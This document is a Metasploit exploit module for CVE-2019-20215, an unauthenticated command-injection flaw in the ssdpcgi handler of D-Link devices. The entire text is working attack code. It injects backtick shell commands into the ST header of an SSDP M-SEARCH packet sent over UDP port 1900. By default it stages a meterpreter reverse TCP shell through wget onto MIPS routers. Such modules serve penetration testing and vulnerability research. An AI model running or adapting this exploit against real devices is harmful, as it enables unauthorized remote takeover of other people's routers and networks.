D-Link Devices – Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi', 'Description' => %q{ D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi. }, 'Author' => [ 's1kr10s', 'secenv' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-20215'], ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73'] ], 'DisclosureDate' => 'Dec 24 2019', 'Privileged' => true, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'wget', 'RPORT' => '1900' }, 'Targets' => [ [ 'Auto', { } ], ], 'CmdStagerFlavor' => %w{ echo wget }, 'DefaultTarget' => 0 )) register_options( [ Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']]) ]) end def exploit execute_cmdstager(linemax: 1500) end def execute_command(cmd, opts) type = datastore['VECTOR'] if type == "URN" print_status("Target Payload URN") val = "urn:device:1;`#{cmd}`" else print_status("Target Payload UUID") val = "uuid:`#{cmd}`" end connect_udp header = "M-SEARCH * HTTP/1.1\r\n" header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n" header << "ST:#{val}\r\n" header << "Man:\"ssdp:discover\"\r\n" header << "MX:2\r\n\r\n" udp_sock.put(header) disconnect_udp end end |